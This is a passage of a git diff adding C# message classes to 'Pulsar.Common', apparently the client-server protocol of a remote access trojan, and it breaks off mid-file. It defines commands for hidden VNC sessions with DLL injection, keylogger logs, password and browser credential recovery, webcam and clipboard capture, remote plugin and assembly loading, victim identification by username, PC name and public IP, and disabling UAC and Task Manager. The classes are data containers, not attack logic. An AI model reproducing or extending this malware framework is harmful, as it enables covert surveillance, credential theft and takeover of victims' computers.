b/Pulsar.Common/Messages/Monitoring/Clipboard/SetClipboardMonitoringEnabled.cs @@ -0,0 +1,18 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.Clipboard +{ + /// + /// Message to enable or disable clipboard monitoring on the client. + /// + [MessagePackObject] + public class SetClipboardMonitoringEnabled : IMessage + { + /// + /// Gets or sets whether clipboard monitoring should be enabled. + /// + [Key(1)] + public bool Enabled { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/HVNC/DoHVNCInput.cs b/Pulsar.Common/Messages/Monitoring/HVNC/DoHVNCInput.cs new file mode 100644 index 0000000..afe96c9 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/HVNC/DoHVNCInput.cs @@ -0,0 +1,19 @@ +using System; +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.HVNC +{ + [MessagePackObject] + public class DoHVNCInput : IMessage + { + [Key(1)] + public uint msg { get; set; } + + [Key(2)] + public int wParam { get; set; } + + [Key(3)] + public int lParam { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktop.cs b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktop.cs new file mode 100644 index 0000000..0ae52ae --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktop.cs @@ -0,0 +1,31 @@ +using MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.HVNC +{ + [MessagePackObject] + public class GetHVNCDesktop : IMessage + { + [Key(1)] + public bool CreateNew { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int DisplayIndex { get; set; } + + [Key(4)] + public RemoteDesktopStatus Status { get; set; } + + [Key(5)] + public bool UseGPU { get; set; } + + [Key(6)] + public int FramesRequested { get; set; } = 1; + + [Key(7)] + public bool IsBufferedMode { get; set; } = true; + } +} diff --git a/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktopResponse.cs b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktopResponse.cs new file mode 100644 index 0000000..998c38e --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktopResponse.cs @@ -0,0 +1,31 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Video; + +namespace Pulsar.Common.Messages.Monitoring.HVNC +{ + [MessagePackObject] + public class GetHVNCDesktopResponse : IMessage + { + [Key(1)] + public byte[] Image { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int Monitor { get; set; } + + [Key(4)] + public Resolution Resolution { get; set; } + + [Key(5)] + public long Timestamp { get; set; } + + [Key(6)] + public bool IsLastRequestedFrame { get; set; } + + [Key(7)] + public float Fps { get; set; } = -1f; + } +} diff --git a/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitors.cs b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitors.cs new file mode 100644 index 0000000..193cc55 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitors.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.HVNC +{ + [MessagePackObject] + public class GetHVNCMonitors : IMessage + { + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitorsResponse.cs b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitorsResponse.cs new file mode 100644 index 0000000..dc9fd1d --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitorsResponse.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.HVNC +{ + [MessagePackObject] + public class GetHVNCMonitorsResponse : IMessage + { + [Key(1)] + public int Number { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/HVNC/StartHVNCProcess.cs b/Pulsar.Common/Messages/Monitoring/HVNC/StartHVNCProcess.cs new file mode 100644 index 0000000..8552eab --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/HVNC/StartHVNCProcess.cs @@ -0,0 +1,25 @@ +using System; +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.HVNC +{ + [MessagePackObject] + public class StartHVNCProcess : IMessage + { + [Key(1)] + public string Path { get; set; } + [Key(2)] + public string Arguments { get; set; } + [Key(3)] + public bool DontCloneProfile { get; set; } + [Key(4)] + public byte[] DllBytes { get; set; } + [Key(5)] + public string CustomBrowserPath { get; set; } + [Key(6)] + public string CustomSearchPattern { get; set; } + [Key(7)] + public string CustomReplacementPath { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectory.cs b/Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectory.cs new file mode 100644 index 0000000..e3572a1 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectory.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.KeyLogger +{ + [MessagePackObject] + public class GetKeyloggerLogsDirectory : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectoryResponse.cs b/Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectoryResponse.cs new file mode 100644 index 0000000..23946ce --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectoryResponse.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetKeyloggerLogsDirectoryResponse : IMessage + { + [Key(1)] + public string LogsDirectory { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Passwords/GetPasswords.cs b/Pulsar.Common/Messages/Monitoring/Passwords/GetPasswords.cs new file mode 100644 index 0000000..c6d5ec4 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Passwords/GetPasswords.cs @@ -0,0 +1,11 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.Passwords +{ + [MessagePackObject] + public class GetPasswords : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Passwords/GetPasswordsResponse.cs b/Pulsar.Common/Messages/Monitoring/Passwords/GetPasswordsResponse.cs new file mode 100644 index 0000000..2f0406e --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Passwords/GetPasswordsResponse.cs @@ -0,0 +1,14 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetPasswordsResponse : IMessage + { + [Key(1)] + public List RecoveredAccounts { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsers.cs b/Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsers.cs new file mode 100644 index 0000000..cdb35a6 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsers.cs @@ -0,0 +1,11 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.Query +{ + [MessagePackObject] + public class GetBrowsers : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsersResponse.cs b/Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsersResponse.cs new file mode 100644 index 0000000..ad43997 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsersResponse.cs @@ -0,0 +1,14 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models.Query.Browsers; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages.Monitoring.Query.Browsers +{ + [MessagePackObject] + public class GetBrowsersResponse : IMessage + { + [Key(1)] + public List QueryBrowsers { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoDrawingEvent.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoDrawingEvent.cs new file mode 100644 index 0000000..a894533 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoDrawingEvent.cs @@ -0,0 +1,37 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using System.Drawing; + +namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop +{ + [MessagePackObject] + public class DoDrawingEvent : IMessage + { + [Key(1)] + public int X { get; set; } + + [Key(2)] + public int Y { get; set; } + + [Key(3)] + public int PrevX { get; set; } + + [Key(4)] + public int PrevY { get; set; } + + [Key(5)] + public int StrokeWidth { get; set; } + + [Key(6)] + public int ColorArgb { get; set; } + + [Key(7)] + public bool IsEraser { get; set; } + + [Key(8)] + public bool IsClearAll { get; set; } + + [Key(9)] + public int MonitorIndex { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoKeyboardEvent.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoKeyboardEvent.cs new file mode 100644 index 0000000..5f61c9f --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoKeyboardEvent.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop +{ + [MessagePackObject] + public class DoKeyboardEvent : IMessage + { + [Key(1)] + public byte Key { get; set; } + + [Key(2)] + public bool KeyDown { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoMouseEvent.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoMouseEvent.cs new file mode 100644 index 0000000..01c18f2 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoMouseEvent.cs @@ -0,0 +1,25 @@ +using MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop +{ + [MessagePackObject] + public class DoMouseEvent : IMessage + { + [Key(1)] + public MouseAction Action { get; set; } + + [Key(2)] + public bool IsMouseDown { get; set; } + + [Key(3)] + public int X { get; set; } + + [Key(4)] + public int Y { get; set; } + + [Key(5)] + public int MonitorIndex { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktop.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktop.cs new file mode 100644 index 0000000..e5f27d4 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktop.cs @@ -0,0 +1,31 @@ +using MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop +{ + [MessagePackObject] + public class GetDesktop : IMessage + { + [Key(1)] + public bool CreateNew { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int DisplayIndex { get; set; } + + [Key(4)] + public RemoteDesktopStatus Status { get; set; } + + [Key(5)] + public bool UseGPU { get; set; } + + [Key(6)] + public int FramesRequested { get; set; } = 1; + + [Key(7)] + public bool IsBufferedMode { get; set; } = true; + } +} diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktopResponse.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktopResponse.cs new file mode 100644 index 0000000..9dbe9dc --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktopResponse.cs @@ -0,0 +1,31 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Video; + +namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop +{ + [MessagePackObject] + public class GetDesktopResponse : IMessage + { + [Key(1)] + public byte[] Image { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int Monitor { get; set; } + + [Key(4)] + public Resolution Resolution { get; set; } + + [Key(5)] + public long Timestamp { get; set; } + + [Key(6)] + public bool IsLastRequestedFrame { get; set; } + + [Key(7)] + public float FrameRate { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitors.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitors.cs new file mode 100644 index 0000000..fa3dc4c --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitors.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop +{ + [MessagePackObject] + public class GetMonitors : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitorsResponse.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitorsResponse.cs new file mode 100644 index 0000000..177deec --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitorsResponse.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetMonitorsResponse : IMessage + { + [Key(1)] + public int Number { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoInstallVirtualMonitor.cs b/Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoInstallVirtualMonitor.cs new file mode 100644 index 0000000..5fcc284 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoInstallVirtualMonitor.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.VirtualMonitor +{ + [MessagePackObject] + public class DoInstallVirtualMonitor : IMessage + { + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoUninstallVirtualMonitor.cs b/Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoUninstallVirtualMonitor.cs new file mode 100644 index 0000000..bb02601 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoUninstallVirtualMonitor.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.VirtualMonitor +{ + [MessagePackObject] + public class DoUninstallVirtualMonitor : IMessage + { + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcams.cs b/Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcams.cs new file mode 100644 index 0000000..85b1776 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcams.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Webcam +{ + [MessagePackObject] + public class GetAvailableWebcams : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcamsResponse.cs b/Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcamsResponse.cs new file mode 100644 index 0000000..1725774 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcamsResponse.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Webcam +{ + [MessagePackObject] + public class GetAvailableWebcamsResponse : IMessage + { + [Key(1)] + public string[] Webcams { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Webcam/GetWebcam.cs b/Pulsar.Common/Messages/Monitoring/Webcam/GetWebcam.cs new file mode 100644 index 0000000..1e8df6e --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Webcam/GetWebcam.cs @@ -0,0 +1,31 @@ +using MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Webcam +{ + [MessagePackObject] + public class GetWebcam : IMessage + { + [Key(1)] + public bool CreateNew { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int DisplayIndex { get; set; } + + [Key(4)] + public RemoteWebcamStatus Status { get; set; } + + [Key(5)] + public bool UseGPU { get; set; } + + [Key(6)] + public int FramesRequested { get; set; } = 1; + + [Key(7)] + public bool IsBufferedMode { get; set; } = true; + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Webcam/GetWebcamResponse.cs b/Pulsar.Common/Messages/Monitoring/Webcam/GetWebcamResponse.cs new file mode 100644 index 0000000..6b73652 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Webcam/GetWebcamResponse.cs @@ -0,0 +1,31 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Video; + +namespace Pulsar.Common.Messages.Webcam +{ + [MessagePackObject] + public class GetWebcamResponse : IMessage + { + [Key(1)] + public byte[] Image { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int Monitor { get; set; } + + [Key(4)] + public Resolution Resolution { get; set; } + + [Key(5)] + public long Timestamp { get; set; } + + [Key(6)] + public bool IsLastRequestedFrame { get; set; } + + [Key(7)] + public float FrameRate { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Other/ClientIdentification.cs b/Pulsar.Common/Messages/Other/ClientIdentification.cs new file mode 100644 index 0000000..50fdb31 --- /dev/null +++ b/Pulsar.Common/Messages/Other/ClientIdentification.cs @@ -0,0 +1,47 @@ +using MessagePack; + +namespace Pulsar.Common.Messages.Other +{ + [MessagePackObject] + public class ClientIdentification : IMessage + { + [Key(1)] + public string Version { get; set; } + + [Key(2)] + public string OperatingSystem { get; set; } + + [Key(3)] + public string AccountType { get; set; } + + [Key(4)] + public string Country { get; set; } + + [Key(5)] + public string CountryCode { get; set; } + + [Key(6)] + public int ImageIndex { get; set; } + + [Key(7)] + public string Id { get; set; } + + [Key(8)] + public string Username { get; set; } + + [Key(9)] + public string PcName { get; set; } + + [Key(10)] + public string Tag { get; set; } + + [Key(11)] + public string EncryptionKey { get; set; } + + [Key(12)] + public byte[] Signature { get; set; } + + [Key(13)] + public string PublicIP { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Other/ClientIdentificationResult.cs b/Pulsar.Common/Messages/Other/ClientIdentificationResult.cs new file mode 100644 index 0000000..0a0280a --- /dev/null +++ b/Pulsar.Common/Messages/Other/ClientIdentificationResult.cs @@ -0,0 +1,11 @@ +using MessagePack; + +namespace Pulsar.Common.Messages.Other +{ + [MessagePackObject] + public class ClientIdentificationResult : IMessage + { + [Key(1)] + public bool Result { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Other/DeferredAssembliesPackage.cs b/Pulsar.Common/Messages/Other/DeferredAssembliesPackage.cs new file mode 100644 index 0000000..e407bf0 --- /dev/null +++ b/Pulsar.Common/Messages/Other/DeferredAssembliesPackage.cs @@ -0,0 +1,55 @@ +using MessagePack; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages.Other +{ + /// + /// Package containing one or more deferred assemblies delivered from the server to the client. + /// + [MessagePackObject] + public class DeferredAssembliesPackage : IMessage + { + /// + /// The assemblies delivered within this package. + /// + [Key(1)] + public List Assemblies { get; set; } + + /// + /// Indicates whether this is the final package in the current transfer sequence. + /// + [Key(2)] + public bool IsComplete { get; set; } + } + + /// + /// Descriptor describing a single deferred assembly payload. + /// + [MessagePackObject] + public class DeferredAssemblyDescriptor + { + /// + /// Simple assembly name, e.g. "SharpDX.Direct3D11". + /// + [Key(1)] + public string Name { get; set; } + + /// + /// Optional assembly version information. + /// + [Key(2)] + public string Version { get; set; } + + /// + /// Raw assembly bytes. May be null if the server could not locate the assembly. + /// + [Key(3)] + public byte[] Data { get; set; } + + /// + /// SHA-256 hash of the assembly bytes for integrity validation (hex encoded). + /// + [Key(4)] + public string Sha256 { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Other/DoExecuteUniversalCommand.cs b/Pulsar.Common/Messages/Other/DoExecuteUniversalCommand.cs new file mode 100644 index 0000000..b8fb8fa --- /dev/null +++ b/Pulsar.Common/Messages/Other/DoExecuteUniversalCommand.cs @@ -0,0 +1,19 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public sealed class DoExecuteUniversalCommand : IMessage + { + [Key(1)] + public string PluginId { get; set; } + + [Key(2)] + public string Command { get; set; } + + [Key(3)] + public byte[] Parameters { get; set; } + } +} + diff --git a/Pulsar.Common/Messages/Other/DoLoadUniversalPlugin.cs b/Pulsar.Common/Messages/Other/DoLoadUniversalPlugin.cs new file mode 100644 index 0000000..b498dfc --- /dev/null +++ b/Pulsar.Common/Messages/Other/DoLoadUniversalPlugin.cs @@ -0,0 +1,25 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public sealed class DoLoadUniversalPlugin : IMessage + { + [Key(1)] + public string PluginId { get; set; } + + [Key(2)] + public byte[] PluginBytes { get; set; } + + [Key(3)] + public byte[] InitData { get; set; } + + [Key(4)] + public string TypeName { get; set; } + + [Key(5)] + public string MethodName { get; set; } + } +} + diff --git a/Pulsar.Common/Messages/Other/DoUniversalPluginResponse.cs b/Pulsar.Common/Messages/Other/DoUniversalPluginResponse.cs new file mode 100644 index 0000000..8ad4db7 --- /dev/null +++ b/Pulsar.Common/Messages/Other/DoUniversalPluginResponse.cs @@ -0,0 +1,31 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public sealed class DoUniversalPluginResponse : IMessage + { + [Key(1)] + public string PluginId { get; set; } + + [Key(2)] + public string Command { get; set; } + + [Key(3)] + public bool Success { get; set; } + + [Key(4)] + public string Message { get; set; } + + [Key(5)] + public byte[] Data { get; set; } + + [Key(6)] + public bool ShouldUnload { get; set; } + + [Key(7)] + public string NextCommand { get; set; } + } +} + diff --git a/Pulsar.Common/Messages/Other/IMessage.cs b/Pulsar.Common/Messages/Other/IMessage.cs new file mode 100644 index 0000000..1e087e8 --- /dev/null +++ b/Pulsar.Common/Messages/Other/IMessage.cs @@ -0,0 +1,6 @@ +namespace Pulsar.Common.Messages.Other +{ + public interface IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Other/IMessageProcessor.cs b/Pulsar.Common/Messages/Other/IMessageProcessor.cs new file mode 100644 index 0000000..edeb5ed --- /dev/null +++ b/Pulsar.Common/Messages/Other/IMessageProcessor.cs @@ -0,0 +1,32 @@ +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; + +namespace Pulsar.Common.Messages +{ + /// + /// Provides basic functionality to process messages. + /// + public interface IMessageProcessor + { + /// + /// Decides whether this message processor can execute the specified message. + /// + /// The message to execute. + /// True if the message can be executed by this message processor, otherwise false. + bool CanExecute(IMessage message); + + /// + /// Decides whether this message processor can execute messages received from the sender. + /// + /// The sender of a message. + /// True if this message processor can execute messages from the sender, otherwise false. + bool CanExecuteFrom(ISender sender); + + /// + /// Executes the received message. + /// + /// The sender of this message. + /// The received message. + void Execute(ISender sender, IMessage message); + } +} diff --git a/Pulsar.Common/Messages/Other/RequestDeferredAssemblies.cs b/Pulsar.Common/Messages/Other/RequestDeferredAssemblies.cs new file mode 100644 index 0000000..ae0aa63 --- /dev/null +++ b/Pulsar.Common/Messages/Other/RequestDeferredAssemblies.cs @@ -0,0 +1,23 @@ +using MessagePack; + +namespace Pulsar.Common.Messages.Other +{ + /// + /// Client request asking the server to deliver one or more deferred assemblies. + /// + [MessagePackObject] + public class RequestDeferredAssemblies : IMessage + { + /// + /// Gets or sets the list of assembly simple names the client is missing. + /// + [Key(1)] + public string[] Assemblies { get; set; } + + /// + /// Optional version information so the server can pick an appropriate bundle. + /// + [Key(2)] + public string ClientVersion { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Other/SecureMessageEnvelope.cs b/Pulsar.Common/Messages/Other/SecureMessageEnvelope.cs new file mode 100644 index 0000000..64add4b --- /dev/null +++ b/Pulsar.Common/Messages/Other/SecureMessageEnvelope.cs @@ -0,0 +1,11 @@ +using MessagePack; + +namespace Pulsar.Common.Messages.Other +{ + [MessagePackObject] + public sealed class SecureMessageEnvelope : IMessage + { + [Key(0)] + public byte[] Payload { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Other/StartProcessOnMonitor.cs b/Pulsar.Common/Messages/Other/StartProcessOnMonitor.cs new file mode 100644 index 0000000..f0195dd --- /dev/null +++ b/Pulsar.Common/Messages/Other/StartProcessOnMonitor.cs @@ -0,0 +1,16 @@ +using System; +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Other +{ + [MessagePackObject] + public class StartProcessOnMonitor : IMessage + { + [Key(1)] + public string Application { get; set; } + + [Key(2)] + public int MonitorID { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/PingRequest.cs b/Pulsar.Common/Messages/PingRequest.cs new file mode 100644 index 0000000..464b184 --- /dev/null +++ b/Pulsar.Common/Messages/PingRequest.cs @@ -0,0 +1,12 @@ +using System; +using MessagePack; +using Pulsar.Common.Networking; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class PingRequest : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/PingResponse.cs b/Pulsar.Common/Messages/PingResponse.cs new file mode 100644 index 0000000..4093b87 --- /dev/null +++ b/Pulsar.Common/Messages/PingResponse.cs @@ -0,0 +1,12 @@ +using System; +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class PingResponse : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Preview/GetPreviewImage.cs b/Pulsar.Common/Messages/Preview/GetPreviewImage.cs new file mode 100644 index 0000000..21a2a60 --- /dev/null +++ b/Pulsar.Common/Messages/Preview/GetPreviewImage.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Preview +{ + [MessagePackObject] + public class GetPreviewImage : IMessage + { + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int DisplayIndex { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Preview/GetPreviewResponse.cs b/Pulsar.Common/Messages/Preview/GetPreviewResponse.cs new file mode 100644 index 0000000..6cea047 --- /dev/null +++ b/Pulsar.Common/Messages/Preview/GetPreviewResponse.cs @@ -0,0 +1,46 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Video; + +namespace Pulsar.Common.Messages.Preview +{ + [MessagePackObject] + public class GetPreviewResponse : IMessage + { + [Key(1)] + public byte[] Image { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int Monitor { get; set; } + + [Key(4)] + public Resolution Resolution { get; set; } + + [Key(5)] + public string CPU { get; set; } + + [Key(6)] + public string GPU { get; set; } + + [Key(7)] + public string RAM { get; set; } + + [Key(8)] + public string Uptime { get; set; } + + [Key(9)] + public string AV { get; set; } + + [Key(10)] + public string MainBrowser { get; set; } + + [Key(11)] + public bool HasWebcam { get; set; } + + [Key(12)] + public string AFKTime { get; set; } + } +} diff --git a/Pulsar.Common/Messages/QuickCommands/DoAddCDriveException.cs b/Pulsar.Common/Messages/QuickCommands/DoAddCDriveException.cs new file mode 100644 index 0000000..6000c73 --- /dev/null +++ b/Pulsar.Common/Messages/QuickCommands/DoAddCDriveException.cs @@ -0,0 +1,14 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.QuickCommands +{ + [MessagePackObject] + public class DoSendQuickCommand : IMessage + { + [Key(1)] + public string Command { get; set; } + [Key(2)] + public string Host { get; set; } + } +} diff --git a/Pulsar.Common/Messages/QuickCommands/DoDisableTaskManager.cs b/Pulsar.Common/Messages/QuickCommands/DoDisableTaskManager.cs new file mode 100644 index 0000000..3c62cc2 --- /dev/null +++ b/Pulsar.Common/Messages/QuickCommands/DoDisableTaskManager.cs @@ -0,0 +1,11 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.QuickCommands +{ + [MessagePackObject] + public class DoDisableTaskManager : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/QuickCommands/DoDisableUAC.cs b/Pulsar.Common/Messages/QuickCommands/DoDisableUAC.cs new file mode 100644 index 0000000..4ced610 --- /dev/null +++ b/Pulsar.Common/Messages/QuickCommands/DoDisableUAC.cs @@ -0,0 +1,11 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.QuickCommands +{ + [MessagePackObject] + public class DoDisableUAC : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/QuickCommands/DoEnableTaskManager.cs b/Pulsar.Common/Messages/QuickCommands/DoEnableTaskManager.cs new file mode 100644 index 0000000..d16c595 --- /dev/null +++ b/Pulsar.Common/Messages/QuickCommands/DoEnableTaskManager.cs @@ -0,0 +1,11 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.QuickCommands +{ + [MessagePackObject] + public class DoEnableTaskManager : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/QuickCommands/DoEnableUAC.cs b/Pulsar.Common/Messages/QuickCommands/DoEnableUAC.cs new file mode 100644 index 0000000..8fc9b50 --- /dev/null +++ 